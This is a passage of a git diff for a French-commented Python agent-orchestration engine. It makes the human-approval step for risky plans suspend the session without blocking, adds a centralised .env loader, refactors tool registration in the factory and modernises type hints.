suspendue n'est ni réussie ni échouée : elle attend. + # Sa phase reste WAITING_APPROVAL — c'est ce que le checkpoint doit porter, + # et ce que l'IHM doit afficher au lieu d'un « échec » trompeur. + suspendue = self.est_suspendue() - # Sauvegarde mémoire épisodique - self._save_episode(initial_payload) + # Phase finale + if not suspendue: + self.state.current_phase = ExecutionPhase.FAILED if has_error else ExecutionPhase.COMPLETED + + if suspendue: + # Ni épisode ni consolidation : la session n'a pas produit son résultat, + # l'écrire en mémoire épisodique apprendrait une conclusion fausse. + logger.info( + f"[ENGINE] [T267] Session {self.state.session_id} suspendue en attente " + f"d'approbation — mémoire épisodique et consolidation reportées à la reprise." + ) + else: + # Sauvegarde mémoire épisodique + self._save_episode(initial_payload) - # Hook de consolidation mémoire (decay, GC graphe, sync memory.db) - await self._consolidate_memory(initial_payload, has_error) + # Hook de consolidation mémoire (decay, GC graphe, sync memory.db) + await self._consolidate_memory(initial_payload, has_error) # Checkpoint final try: @@ -508,17 +675,28 @@ async def _finalize_session( # Langfuse : fermer la trace if _lf: try: - _lf.end_trace(self.state.session_id, status="error" if has_error else "success") + _lf.end_trace( + self.state.session_id, + status=( + "waiting_approval" if suspendue else ("error" if has_error else "success") + ), + ) _lf.flush() except Exception as _e: from core.error_reporter import report_swallowed report_swallowed("engine.langfuse_end_trace", _e, level="debug") - print(f"\n[ENGINE] Orchestration terminée (Session: {self.state.session_id})") + if suspendue: + print(f"\n[ENGINE] Orchestration SUSPENDUE (Session: {self.state.session_id})") + else: + print(f"\n[ENGINE] Orchestration terminée (Session: {self.state.session_id})") if self.on_event: await self.on_event("orchestration_completed", { "session_id": self.state.session_id, - "status": "error" if has_error else "success", + "status": ( + "waiting_approval" if suspendue else ("error" if has_error else "success") + ), + "request_id": self._suspension_request_id, }) return self.state @@ -542,11 +720,14 @@ def _load_max_session_tokens(self) -> int: except Exception: return 500_000 - def _prepare_git_branch(self) -> Optional[str]: + def _prepare_git_branch(self) -> str | None: """Prépare la branche Git éphémère pour l'isolation du workspace.""" try: from tools.git_safety import git_prepare_agent_branch - branch = git_prepare_agent_branch(self.state.session_id) + # [#T202] Cibler le dépôt de travail explicite s'il est fourni. + branch = git_prepare_agent_branch( + self.state.session_id, repo_path=self.repo_root or "." + ) if branch.startswith("Erreur"): logger.warning(f"[ENGINE] Impossible de préparer la branche Git : {branch}") return None @@ -571,7 +752,8 @@ def _run_doc_hook(self, has_error: bool) -> None: from tools.doc_generator import DocGenerator doc_gen = DocGenerator() doc_gen.update_docs( - repo_path=os.path.dirname(os.path.dirname(os.path.abspath(__file__))), + # [#T202] Racine de travail explicite si fournie (clone DreamCoder) + repo_path=self.repo_root or os.path.dirname(os.path.dirname(os.path.abspath(__file__))), session_id=self.state.session_id, ) except Exception as doc_err: @@ -585,7 +767,11 @@ def _finalize_git(self, git_branch: str, has_error: bool, tasks_status: dict, gi execution_success = execution_success and all( s == "success" for s in tasks_status.values() ) - merge_msg = git_finalize_fn(git_branch, execution_success, self.state.session_id) + # [#T202] Finaliser dans le dépôt de travail explicite s'il est fourni. + merge_msg = git_finalize_fn( + git_branch, execution_success, self.state.session_id, + repo_path=self.repo_root or ".", + ) logger.info(f"[ENGINE] Finalisation Git : {merge_msg}") except Exception as gfe: logger.error(f"[ENGINE] Exception lors de la finalisation de la branche Git : {gfe}") @@ -632,12 +818,12 @@ async def _consolidate_memory(self, initial_payload: TaskPayload, try: from memory.memory_db import MemoryDB db = MemoryDB.get_instance() - + # 1. Decay des scores de pertinence (faits non consultés > 7 jours) decayed = await db.decay_relevance_async(decay_rate=0.03) if decayed > 0: logger.info(f"[CONSOLIDATION] {decayed} faits ont subi un decay de pertinence.") - + # 2. GC du graphe (observations > 15, entités temporaires > 30 jours) gc_result = await db.gc_graph_entities_async(max_observations=15, max_age_days=30) if gc_result["summarized"] > 0 or gc_result["archived"] > 0: @@ -645,7 +831,7 @@ async def _consolidate_memory(self, initial_payload: TaskPayload, f"[CONSOLIDATION] GC graphe : {gc_result['summarized']} résumées, " f"{gc_result['archived']} archivées" ) - + # 2bis. Self-Healing du contexte : vérifier la cohérence # entre la documentation Markdown et le code réel try: @@ -663,19 +849,19 @@ async def _consolidate_memory(self, initial_payload: TaskPayload, logger.info("[CONSOLIDATION] [SELF-HEALING] Contexte validé — aucune incohérence.") except Exception as sh_err: logger.debug(f"[CONSOLIDATION] Self-healing du contexte ignoré : {sh_err}") - + # 3. Enregistrer les leçons apprises (corrections/self-healing) for update in self.state.history: is_healing = update.metadata.get("is_healing", False) is_correction = update.metadata.get("is_correction", False) - + if (is_healing or is_correction) and update.result_data: # Déterminer la catégorie depuis le contexte category = self._infer_lesson_category( str(update.result_data), update.agent_name ) severity = "major" if is_healing else "minor" - + await db.record_learned_lesson_async( category=category, title=f"Auto-correction {update.agent_name}", @@ -684,14 +870,14 @@ async def _consolidate_memory(self, initial_payload: TaskPayload, tags=f"{update.agent_name},auto,{severity}", severity=severity, ) - + # 4. Synchroniser l'épisode dans memory.db result_summary = "" for u in reversed(self.state.history): if u.status == "success" and u.result_data: result_summary = str(u.result_data)[:300] break - + await db.upsert_episode_async( session_date=time.strftime("%Y-%m-%d"), session_folder=f"session_{self.state.session_id[:8]}", @@ -703,19 +889,19 @@ async def _consolidate_memory(self, initial_payload: TaskPayload, tags="auto,engine", source_file="engine.py", ) - + logger.info("[CONSOLIDATION] Mémoire consolidée avec succès.") - + except Exception as mem_err: logger.warning(f"[ENGINE] Consolidation mémoire échouée (non bloquant) : {mem_err}") - + def _infer_lesson_category(self, text: str, agent_name: str) -> str: """ Infère la catégorie d'une leçon apprise depuis le texte et l'agent. Retourne : esphome, moteur, gcp, hmi, infra, ou 'moteur' par défaut. """ text_lower = (text + " " + agent_name).lower() - + if any(kw in text_lower for kw in ["esphome", "lvgl", "tab5", "esp32", "gpio", "ota"]): return "esphome" elif any(kw in text_lower for kw in ["dashboard", "ihm", "hmi", "ui", "css", "frontend"]): @@ -812,7 +998,7 @@ def _bump(level: str, reason: str) -> None: return max_risk, risky_tasks - def _hitl_bypass_reason(self, session_id: str, max_risk: str) -> Optional[str]: + def _hitl_bypass_reason(self, session_id: str, max_risk: str) -> str | None: """ [PHASE 1 - M5] Décide si l'approbation HITL peut être contournée. @@ -837,16 +1023,24 @@ def _hitl_bypass_reason(self, session_id: str, max_risk: str) -> Optional[str]: async def _check_hitl_before_dag( self, dag_tasks: list, objective: str - ) -> bool: + ) -> str: """ Vérifie si le DAG nécessite une approbation humaine. - Le niveau de risque est désormais calculé par `_assess_dag_risk` (outil ciblé + + Le niveau de risque est calculé par `_assess_dag_risk` (outil ciblé + mots-clés), et la politique de bypass par `_hitl_bypass_reason`. Les plans - interactifs à risque ne sont PLUS contournés d'office (correctif M5 de l'audit). - - Returns: - True si approuvé (ou bypass), False si rejeté. + interactifs à risque ne sont PAS contournés d'office (correctif M5 de l'audit). + + [#T267] Retourne désormais TROIS états et non plus un booléen : + DECISION_APPROUVE — exécuter le DAG maintenant (approuvé ou bypass) + DECISION_REJETE — abandonner le plan + DECISION_EN_ATTENTE — plan mis en attente, session suspendue sans erreur + + Le mode non bloquant est le défaut. Le comportement d'avant (attente + bloquante de 300 s) reste accessible via `MOTEUR_HITL_NON_BLOQUANT=0`, + mais il faut savoir ce qu'on réactive : il est incompatible avec le + `wait_for` de 120 s de `services/pipeline_service.py`, ce qui rendait + tout plan à risque inexécutable en production. """ # Analyser le niveau de risque du plan (outil ciblé + libellé). max_risk, risky_tasks = self._assess_dag_risk(dag_tasks) @@ -856,7 +1050,7 @@ async def _check_hitl_before_dag( if bypass_reason: if max_risk != "low": logger.info(f"[ENGINE] ⚡ HITL contourné ({bypass_reason}) malgré risque '{max_risk}'.") - return True + return DECISION_APPROUVE # Construire le résumé du plan pour l'IHM plan_summary = f"Plan : {objective[:120]}\n" @@ -874,9 +1068,35 @@ async def _check_hitl_before_dag( "phase": "waiting_approval", }) + request_id = f"dag_{self.state.session_id}_{len(dag_tasks)}" + description = ( + f"Le plan contient {len(risky_tasks)} tâche(s) à risque ({max_risk}). " + f"Approuvez-vous l'exécution ?" + ) + + # [#T267] Chemin non bloquant (défaut) : on persiste la demande AVEC le DAG + # à rejouer, on notifie l'IHM, et on rend la main immédiatement. La phase + # reste WAITING_APPROVAL — c'est elle qui sera lue au checkpoint. + if self._hitl_non_bloquant(): + await self.hitl.demander_sans_bloquer( + request_id=request_id, + session_id=self.state.session_id, + dag_tasks=self._serialiser_dag(dag_tasks), + description=description, + objective=objective, + plan_summary=plan_summary, + risk_level=max_risk, + git_branch=self._git_branch_courante, + criteres=self._criteres_acceptation_courants(), + on_event=self.on_event, + ) + self._suspension_request_id = request_id + return DECISION_EN_ATTENTE + + # Chemin historique (bloquant), conservé derrière le kill-switch. decision = await self.hitl.request_approval( - request_id=f"dag_{self.state.session_id}_{len(dag_tasks)}", - description=f"Le plan contient {len(risky_tasks)} tâche(s) à risque ({max_risk}). Approuvez-vous l'exécution ?", + request_id=request_id, + description=description, plan_summary=plan_summary, risk_level=max_risk, on_event=self.on_event, @@ -892,4 +1112,55 @@ async def _check_hitl_before_dag( "feedback": decision.feedback, }) - return decision.approved + return DECISION_APPROUVE if decision.approved else DECISION_REJETE + + def _criteres_acceptation_courants(self) -> list: + """ + [#T253] Contrat d'acceptation posé par le Planner, lu dans l'historique. + + Il doit être persisté AVEC la demande d'approbation : à la reprise, le + moteur est neuf et son `state.history` est vide — le contrat mourrait + donc avec la session suspendue, et ne serait jamais évalué. Mesuré en + prod le 11/08 : un plan approuvé fusionnait sans qu'aucun de ses + 2 critères ne soit vérifié. + + Même règle de lecture que `ReviewLoop._criteres_du_plan` : le plus + récent gagne, un plan correctif ayant pu en reposer un. + """ + from core.acceptance_contract import CLE_CONTRAT + for update in reversed(self.state.history): + criteres = (update.metadata or {}).get(CLE_CONTRAT) + if criteres: + return criteres + return [] + + @staticmethod + def _hitl_non_bloquant() -> bool: + """ + [#T267] Le point d'approbation suspend-il la session au lieu de bloquer ? + + Non bloquant par défaut. `MOTEUR_HITL_NON_BLOQUANT=0` restaure l'attente + bloquante d'avant #T267 — utile pour un test ou un usage hors pipeline, + jamais en production derrière le `wait_for` de 120 s. + """ + return os.environ.get("MOTEUR_HITL_NON_BLOQUANT", "1").strip().lower() not in ("0", "false", "off") + + @staticmethod + def _serialiser_dag(dag_tasks: list) -> list[dict]: + """ + [#T267] Sérialise le DAG pour qu'il soit rejoué À L'IDENTIQUE à la reprise. + + `model_dump(mode="json")` et non `core.serializers.task_payload_to_dict` : + ce dernier est volontairement partiel (il perd `status`, `assigned_agent`, + `result_summary`) parce qu'il sert l'affichage. Ici la fidélité prime — + ce qui est approuvé doit être exactement ce qui s'exécute. + """ + sortie = [] + for t in dag_tasks: + if hasattr(t, "model_dump"): + sortie.append(t.model_dump(mode="json")) + elif isinstance(t, dict): + sortie.append(t) + else: + logger.warning(f"[ENGINE] [T267] Tâche non sérialisable ignorée : {type(t)}") + return sortie diff --git a/core/env_bootstrap.py b/core/env_bootstrap.py new file mode 100644 index 0000000..d6b1a03 --- /dev/null +++ b/core/env_bootstrap.py @@ -0,0 +1,92 @@ +""" +core/env_bootstrap.py — Chargement UNIQUE et centralisé du fichier .env (T284). + +UNIQUE point de chargement du .env du moteur : deux appels = un seul chargement, +et le fichier cherché est TOUJOURS celui de la racine du dépôt, résolue depuis +`__file__` (`parents[1]` de core/) — jamais depuis le répertoire courant. Un +point d'entrée lancé depuis n'importe quel CWD (IDE, cron, systemd, scripts/) +obtient donc les mêmes clés, sans avoir à penser au chargement lui-même. + +Avant ce module, chaque point d'entrée rechargeait le .env à sa façon (certains +en chemin relatif) et tout point d'entrée qui l'oubliait obtenait un moteur SANS +AUCUNE CLÉ — un après-midi de campagne de tests invalidé le 11/08 (#T284). + +Modèle de style : core/ha_tls.py et core/ha_token.py centralisent déjà une +politique de configuration ; ce module centralise la politique de chargement +du .env, dont le diagnostic (« aucun .env trouvé » ≠ « .env chargé mais la clé +absente »). + +⚠️ override=False est OBLIGATOIRE — c'est le défaut de python-dotenv, on ne le +change pas. En production (Steam Deck), l'environnement est injecté par systemd ; +un .env périmé traînant sur le disque ne doit JAMAIS écraser la vraie valeur. +Une variable déjà présente dans os.environ reste prioritaire, quoi qu'en dise +le .env. +""" + +import logging +from pathlib import Path + +from dotenv import load_dotenv + +logger = logging.getLogger(__name__) + +# Racine du dépôt : parents[1] de core/env_bootstrap.py -> moteur_agents/ +REPO_ROOT = Path(__file__).resolve().parents[1] +ENV_FILE = REPO_ROOT / ".env" + +_loaded = False +_env_file_found: bool | None = None + + +def bootstrap_env(env_file: Path | str | None = None) -> bool: + """Charge le .env de la racine du dépôt, une seule fois par processus. + + Idempotent : le premier appel gagne, les suivants ne font rien (même avec + un autre chemin — `env_file` n'existe que pour les tests unitaires). + + ⚠️ override=False (défaut de python-dotenv, volontairement conservé) : un + .env périmé sur le disque ne doit JAMAIS écraser une variable déjà présente + dans l'environnement — en production, les vraies valeurs viennent de systemd. + + Retourne True si un fichier .env existait (et a été chargé), False sinon. + Ne lève JAMAIS d'exception : .env absent = moteur sans clés, pas crash. + """ + global _loaded, _env_file_found + if _loaded: + return bool(_env_file_found) + + env_path = Path(env_file).resolve() if env_file is not None else ENV_FILE + _env_file_found = env_path.is_file() + if _env_file_found: + # override=False : voir le docstring du module — les variables déjà + # définies (systemd, shell) restent prioritaires sur le .env. + load_dotenv(dotenv_path=str(env_path), override=False) + logger.info( + "[ENV] Fichier %s chargé (variables déjà définies non écrasées).", + env_path, + ) + else: + logger.warning( + "[ENV] Aucun fichier .env trouvé à %s — seules les variables déjà " + "présentes dans l'environnement sont disponibles.", + env_path, + ) + _loaded = True + return _env_file_found + + +def missing_key_message(key: str) -> str: + """Diagnostic HONNÊTE pour une clé absente de l'environnement. + + Distingue « aucun .env trouvé à » de « .env chargé mais la clé X + n'y est pas ». Ne contient JAMAIS de valeur de clé — seulement sa présence + ou son absence. + """ + if not _loaded: + bootstrap_env() + if _env_file_found: + return ( + f"{key} absente du fichier {ENV_FILE} chargé " + "(et non définie dans l'environnement)" + ) + return f"{key} non définie — aucun fichier .env trouvé à {ENV_FILE}" diff --git a/core/error_reporter.py b/core/error_reporter.py index 10e1672..2abe0e4 100644 --- a/core/error_reporter.py +++ b/core/error_reporter.py @@ -24,13 +24,12 @@ import traceback from collections import deque from threading import Lock -from typing import Deque, Dict, List logger = logging.getLogger("moteur.swallowed") # Ring buffer borné des dernières erreurs avalées (diagnostic). _MAX_RECENT = 200 -_recent: Deque[Dict] = deque(maxlen=_MAX_RECENT) +_recent: deque[dict] = deque(maxlen=_MAX_RECENT) _lock = Lock() _LEVELS = { @@ -67,7 +66,7 @@ def report_swallowed(context: str, exc: BaseException, *, level: str = "warning" }) -def get_recent_errors(limit: int = 50) -> List[Dict]: +def get_recent_errors(limit: int = 50) -> list[dict]: """Retourne les dernières erreurs avalées (plus récentes d'abord).""" with _lock: items = list(_recent) diff --git a/core/errors.py b/core/errors.py index f84341a..357c424 100644 --- a/core/errors.py +++ b/core/errors.py @@ -10,7 +10,6 @@ """ from enum import Enum -from typing import Optional class ErrorCategory(str, Enum): @@ -60,7 +59,7 @@ def __init__( category: ErrorCategory, message: str, source: str = "", - original_exception: Optional[Exception] = None, + original_exception: Exception | None = None, ): self.category = category self.message = message @@ -124,7 +123,10 @@ def classify_error(error_message: str, source: str = "") -> AgentError: return AgentError(ErrorCategory.VALIDATION, error_message, source) # --- Patterns de permission --- - if any(kw in msg_lower for kw in ["permission denied", "access denied", "permissionerror", "readonly", "read-only"]): + # [#T233] « permission » seul couvre les refus d'outils par agent (message + # « Erreur permission : l'agent ... »), qui doivent rester NON retriables : + # un retry automatique sur un refus volontaire n'a aucun sens. + if any(kw in msg_lower for kw in ["permission", "permission denied", "access denied", "permissionerror", "readonly", "read-only"]): return AgentError(ErrorCategory.PERMISSION, error_message, source) # --- Patterns de ressource introuvable --- diff --git a/core/event_store.py b/core/event_store.py index 7d360ec..b70ce63 100644 --- a/core/event_store.py +++ b/core/event_store.py @@ -22,7 +22,7 @@ import sqlite3 from datetime import datetime from pathlib import Path -from typing import Any, Dict, List, Optional +from typing import Any logger = logging.getLogger(__name__) @@ -56,13 +56,13 @@ class EventStore: - Toutes les I/O SQL via asyncio.to_thread (non bloquant) """ - def __init__(self, db_path: Optional[str] = None) -> None: + def __init__(self, db_path: str | None = None) -> None: """ Args: db_path: Chemin vers le fichier SQLite (défaut: moteur_runtime.db) """ self.db_path = db_path or DEFAULT_DB - self._conn: Optional[sqlite3.Connection] = None + self._conn: sqlite3.Connection | None = None self._init_db() def _init_db(self) -> None: @@ -85,7 +85,7 @@ async def log( source: str = "", agent: str = "", session_id: str = "", - payload: Optional[Dict[str, Any]] = None, + payload: dict[str, Any] | None = None, ) -> int: """ Enregistre un événement (INSERT uniquement). @@ -122,7 +122,7 @@ def _insert() -> int: # Lecture # ────────────────────────────────────────────────────────────── - async def get_session_events(self, session_id: str) -> List[Dict[str, Any]]: + async def get_session_events(self, session_id: str) -> list[dict[str, Any]]: """ Récupère tous les événements d'une session (tri chronologique). @@ -144,8 +144,8 @@ def _fetch(): async def get_recent_events( self, limit: int = 100, - event_type: Optional[str] = None, - ) -> List[Dict[str, Any]]: + event_type: str | None = None, + ) -> list[dict[str, Any]]: """ Récupère les N événements les plus récents, avec filtre type optionnel. @@ -171,7 +171,7 @@ def _fetch(): ] return await asyncio.to_thread(_fetch) - async def replay_session(self, session_id: str) -> List[str]: + async def replay_session(self, session_id: str) -> list[str]: """ Rejoue les événements d'une session sous forme textuelle (audit). @@ -187,7 +187,7 @@ async def replay_session(self, session_id: str) -> List[str]: ) return lines - async def get_stats(self) -> Dict[str, Any]: + async def get_stats(self) -> dict[str, Any]: """ Retourne les statistiques globales sur les événements. @@ -224,7 +224,7 @@ def close(self) -> None: # Singleton # ────────────────────────────────────────────────────────────────── -_event_store_instance: Optional[EventStore] = None +_event_store_instance: EventStore | None = None def get_event_store(db_path: str = None) -> EventStore: diff --git a/core/execution_budget.py b/core/execution_budget.py index c78afa4..38c1738 100644 --- a/core/execution_budget.py +++ b/core/execution_budget.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ core/execution_budget.py — Budget global d'exécution par requête (P2-3.4). @@ -18,9 +17,9 @@ (et non réinitialisés par sous-étape). """ -import time import logging -from typing import Optional, Dict, Any +import time +from typing import Any logger = logging.getLogger(__name__) @@ -34,7 +33,7 @@ def __init__( max_tokens: int = 0, max_duration_s: float = 0.0, max_cost_usd: float = 0.0, - start_time: Optional[float] = None, + start_time: float | None = None, ): self.session_id = session_id self.max_tokens = int(max_tokens or 0) @@ -46,8 +45,8 @@ def __init__( def from_config( cls, session_id: str, - config: Optional[dict] = None, - start_time: Optional[float] = None, + config: dict | None = None, + start_time: float | None = None, ) -> "ExecutionBudget": """Construit le budget depuis config.json (clés `max_session_tokens`, `max_execution_seconds`, `max_execution_cost_usd`).""" @@ -69,7 +68,7 @@ def elapsed(self) -> float: """Secondes écoulées depuis le début de la requête.""" return time.time() - self.start_time - def remaining_tokens(self) -> Optional[int]: + def remaining_tokens(self) -> int | None: """Tokens restants avant plafond, ou `None` si l'axe tokens est désactivé. [#T111] Utilisé pour borner le fan-out parallèle du DAG runner par le @@ -84,7 +83,7 @@ def remaining_tokens(self) -> Optional[int]: consumed = 0 return max(self.max_tokens - consumed, 0) - def check(self) -> Optional[Dict[str, Any]]: + def check(self) -> dict[str, Any] | None: """ Vérifie les trois axes. Renvoie `None` si la requête est dans le budget, sinon un dict décrivant le premier dépassement constaté : @@ -121,7 +120,7 @@ def check(self) -> Optional[Dict[str, Any]]: return None - def event_payload(self, violation: Dict[str, Any], blocked: str = "") -> Dict[str, Any]: + def event_payload(self, violation: dict[str, Any], blocked: str = "") -> dict[str, Any]: """Construit le payload SSE `budget_exceeded` à partir d'un dépassement.""" return { "reason": violation["reason"], diff --git a/core/factory.py b/core/factory.py index c94dc77..ca6e321 100644 --- a/core/factory.py +++ b/core/factory.py @@ -8,34 +8,36 @@ du démarrage du serveur MCP Tab5-Engine. """ -import logging import asyncio +import logging -from core.engine import Engine -from core.router import Router -from core.llm_gateway import LLMGateway, load_config -from core.workflow_bridge import WorkflowBridge -from tools.tool_registry import ToolRegistry +from agents.antigravity_agent import AntigravityAgent from agents.executor import ExecutorAgent from agents.planner import PlannerAgent -from agents.antigravity_agent import AntigravityAgent from agents.reviewer import ReviewerAgent -from tools.system import read_file, write_file, validate_config_yaml -from tools.terminal import run_terminal_command -from tools.api import call_api +from core.engine import Engine +from core.llm_gateway import LLMGateway, load_config +from core.router import Router +from core.workflow_bridge import WorkflowBridge from memory.context_manager import ContextManager from memory.rag import RAGEngine +from tools.registry_setup import register_base_tools, register_extended_tools, register_rag_tool +from tools.tool_registry import ToolRegistry logger = logging.getLogger(__name__) -def create_engine(session_id: str = "factory_session", register_git_tools: bool = True) -> tuple: +def create_engine(session_id: str = "factory_session", register_git_tools: bool = True, + enregistrer_plugins: bool = True) -> tuple: """ Crée et assemble tous les composants du tab5-engine. Args: session_id: Identifiant unique de la session d'exécution. register_git_tools: Si True, enregistre les outils Git Safety dans le registry. + enregistrer_plugins: [#T231 étape 2] Si True, enregistre les plugins provider + internes au catalogue (idempotent). Les tests qui montent un moteur + complet passent False pour ne pas écrire dans le catalogue partagé. Returns: Tuple (engine: Engine, router: Router, config: dict) @@ -43,88 +45,35 @@ def create_engine(session_id: str = "factory_session", register_git_tools: bool # 1. Chargement de la configuration depuis config.json config = load_config() logger.info(f"[FACTORY] Chargement config : planner={config.get('planner_model')}, executor={config.get('executor_model')}") - + # 2. Initialisation du gateway LLM (tous les providers, tiers, scoring) gateway = LLMGateway() - + + # 2bis. [#T231 étape 2] Enregistrement des plugins provider internes au catalogue : + # les providers dont le transport a pu être construit (identifiants présents + # sur cet hôte) sont upsertés, les autres écartés en silence. Idempotent et + # non bloquant — un échec laisse l'ancien chemin (seed + gateway) actif. + if enregistrer_plugins: + from core.llm.provider_registration import enregistrer_provider_plugins_once + enregistrer_provider_plugins_once() + # 3. Registry des outils disponibles pour l'ExecutorAgent + # [#T213] Enregistrement factorisé (partagé avec pipeline_service et le + # serveur MCP) : base + Git Safety + familles étendues Workspace/Cloud/Imagen. registry = ToolRegistry() - registry.register("read_file", read_file, "Lit le contenu d'un fichier texte local.") - registry.register("write_file", write_file, "Crée ou modifie un fichier texte local.") - registry.register("run_terminal_command", run_terminal_command, "Exécute une commande système sur la machine hôte.") - registry.register("call_api", call_api, "Effectue une requête HTTP (GET/POST) vers une API distante.") - registry.register("validate_config_yaml", validate_config_yaml, "Valide la syntaxe et les dépendances d'un fichier YAML ESPHome.") - - # Outils Git Safety optionnels (désactivés pour les sessions MCP légères) - if register_git_tools: - try: - from tools.git_safety import git_create_checkpoint, git_rollback_checkpoint, git_apply_checkpoint - registry.register("git_create_checkpoint", git_create_checkpoint, "Crée un checkpoint de sécurité Git.") - registry.register("git_rollback_checkpoint", git_rollback_checkpoint, "Annule les modifications de l'agent via Git (rollback).") - registry.register("git_apply_checkpoint", git_apply_checkpoint, "Valide le checkpoint Git en fusionnant les modifications.") - logger.info("[FACTORY] Outils Git Safety enregistrés.") - except ImportError as e: - logger.warning(f"[FACTORY] Outils Git Safety non disponibles : {e}") - - # [P5+P9] Outils Google Workspace (Calendar + Drive) - try: - from tools.google_workspace import get_calendar_events, list_calendars, list_drive_files, read_drive_file - registry.register("get_calendar_events", get_calendar_events, "Récupère les prochains événements d'un calendrier Google. Args: calendar_id (défaut 'primary'), max_results (défaut '10').") - registry.register("list_calendars", list_calendars, "Liste tous les calendriers Google accessibles avec leurs IDs.") - registry.register("list_drive_files", list_drive_files, "Liste les fichiers récents de Google Drive avec leurs noms, types et tailles. Args: max_results (défaut '20').") - registry.register("read_drive_file", read_drive_file, "Lit le contenu textuel d'un fichier Google Drive. Args: file_id (identifiant du fichier obtenu via list_drive_files).") - logger.info("[FACTORY] Outils Google Calendar + Drive enregistrés.") - except ImportError as e: - logger.warning(f"[FACTORY] Outils Workspace Calendar/Drive non disponibles : {e}") - - # [Phase 2] Outils Gmail, Sheets, Tasks, YouTube, Contacts - try: - from tools.google_workspace import search_gmail, read_spreadsheet, get_tasks, search_youtube, get_contacts - registry.register("search_gmail", search_gmail, "Recherche dans les emails Gmail. Syntaxe Gmail : 'from:X', 'subject:Y', 'is:unread'. Args: query, max_results (défaut '5').") - registry.register("read_spreadsheet", read_spreadsheet, "Lit les données d'un Google Spreadsheet. Args: spreadsheet_id, range_notation (défaut 'Sheet1').") - registry.register("get_tasks", get_tasks, "Récupère les tâches Google Tasks en cours. Args: task_list_name (défaut '@default').") - registry.register("search_youtube", search_youtube, "Recherche des vidéos YouTube. Args: query, max_results (défaut '5').") - registry.register("get_contacts", get_contacts, "Récupère les contacts Google (nom, email, téléphone). Args: max_results (défaut '10').") - logger.info("[FACTORY] Outils Workspace Phase 2 enregistrés (Gmail, Sheets, Tasks, YouTube, Contacts).") - except ImportError as e: - logger.warning(f"[FACTORY] Outils Workspace Phase 2 non disponibles : {e}") - - # [Phase 3] Outils Cloud TTS, Translation, Vision, STT - try: - from tools.cloud_tts import cloud_tts_synthesize - from tools.cloud_translate import translate_text - from tools.cloud_vision import analyze_image - from tools.cloud_stt import transcribe_audio - registry.register("cloud_tts", cloud_tts_synthesize, "Synthèse vocale premium (Neural2/WaveNet). Args: text, voice, language (défaut 'fr-FR').") - registry.register("translate_text", translate_text, "Traduit du texte via Cloud Translation. Args: text, target_lang (défaut 'fr'), source_lang (auto-détection).") - registry.register("analyze_image", analyze_image, "Analyse une image (labels, texte OCR, objets). Args: image_path (chemin local).") - registry.register("transcribe_audio", transcribe_audio, "Transcrit un fichier audio en texte. Args: audio_path, language (défaut 'fr-FR').") - logger.info("[FACTORY] Outils Cloud APIs Phase 3 enregistrés (TTS, Translate, Vision, STT).") - except ImportError as e: - logger.warning(f"[FACTORY] Outils Cloud APIs Phase 3 non disponibles : {e}") - - # [P6] Outil de génération d'images Imagen 4 - try: - from tools.imagen import generate_image - registry.register("generate_image", generate_image, "Génère une image via Google Imagen 4. Args: prompt, output_path (optionnel), model_variant ('fast'/'standard'/'ultra'), aspect_ratio ('1:1'/'16:9'/etc).") - logger.info("[FACTORY] Outil Imagen 4 enregistré.") - except ImportError as e: - logger.warning(f"[FACTORY] Outil Imagen non disponible : {e}") - + register_base_tools(registry, git_safety=register_git_tools) + register_extended_tools(registry) + # 4. Gestionnaire de contexte, de mémoire et de RAG local context_manager = ContextManager(llm_gateway=gateway) rag_engine = RAGEngine() - - # Outil de RAG Pull (Phase 3) - registry.register( - "query_technical_knowledge", - lambda query, top_n=3: rag_engine.query(query, top_n=top_n), - "Interroge la base de connaissances sémantique locale (RAG) sur la domotique, le matériel (Tab5, ESPHome, LVGL) et le tab5-engine. Args: query (requête de recherche), top_n (nombre de résultats souhaités, défaut 3)." - ) - + + # Outil de RAG Pull (Phase 3) — seul site à posséder l'instance RAGEngine + register_rag_tool(registry, rag_engine) + # 5. Instanciation priorisée des agents cœur (Réduction latence Boot - T103) from agents.ha_agent import HACommandAgent - + # On initialise en priorité absolue les agents les plus souvent sollicités au boot executor = ExecutorAgent( llm_gateway=gateway, @@ -135,12 +84,19 @@ def create_engine(session_id: str = "factory_session", register_git_tools: bool llm_gateway=gateway, provider_name=config.get("planner_model", "fort") ) - + # 6. Assemblage initial : Engine + agents prioritaires engine = Engine(session_id=session_id, context_manager=context_manager) engine.register_agent(executor) engine.register_agent(planner) - + + # [#T245] Outil de fan-out DAG : enregistré ici car il a besoin du moteur + # (donc de son DAGRunner), qui n'existe qu'à partir de cette ligne. Même + # schéma d'injection que register_rag_tool ci-dessus ; le registre étant + # partagé, les agents déjà instanciés voient l'outil dès leur prochain appel. + from tools.dag_map_reduce import register_map_reduce_tool + register_map_reduce_tool(registry, engine) + # 7. Chargement séquentiel différé pour les autres agents (optimisation V12) def _load_secondary_agents(): try: @@ -161,8 +117,9 @@ def _load_secondary_agents(): engine.register_agent(antigravity_agent) engine.register_agent(ha_agent) engine.register_agent(reviewer) - + # Registration dynamique des agents custom depuis le workflow HMI + from core.custom_agents import build_custom_agent_prompt, register_config_custom_agents bridge = WorkflowBridge() custom_agents = bridge.get_custom_agents_config() for custom in custom_agents: @@ -171,26 +128,29 @@ def _load_secondary_agents(): custom_agent = ExecutorAgent( llm_gateway=gateway, tool_registry=registry, - provider_name=custom_tier + provider_name=custom_tier, + # [#T233] Restrictions d'outils (absent/None = tous, [] = aucun) + allowed_tools=custom.get("allowed_tools"), ) custom_agent.name = custom_name - custom_agent.system_prompt = ( - f"Tu es l'agent custom '{custom_name}' ({custom.get('label', custom_name)}).\n" - f"Tu hérites de la boucle ReAct d'ExecutorAgent avec accès à tous les outils.\n" - f"Exécute la tâche qui t'est assignée de manière rigoureuse et pédagogue." + custom_agent.system_prompt = build_custom_agent_prompt( + custom_name, custom.get("label"), custom.get("allowed_tools") ) engine.register_agent(custom_agent) logger.info(f"[FACTORY] Agent custom '{custom_name}' enregistré en différé (tier: {custom_tier}).") + + # [#T159] Agents custom déclarés dans config.json (CRUD /api/agents) + register_config_custom_agents(engine, gateway, registry, config) except Exception as e: logger.error(f"[FACTORY] Erreur lors du chargement différé des agents secondaires : {e}") # On planifie le chargement secondaire dès que la boucle d'événements est libre loop = asyncio.get_event_loop() loop.call_soon(_load_secondary_agents) - + router = Router(default_agent="planner", rag_engine=rag_engine, llm_gateway=gateway, config=config) - + agent_names = list(engine.agents.keys()) logger.info(f"[FACTORY] Moteur assemblé (session: {session_id}). Agents : {', '.join(agent_names)}") - + return engine, router, config diff --git a/core/fenetres_execution.py 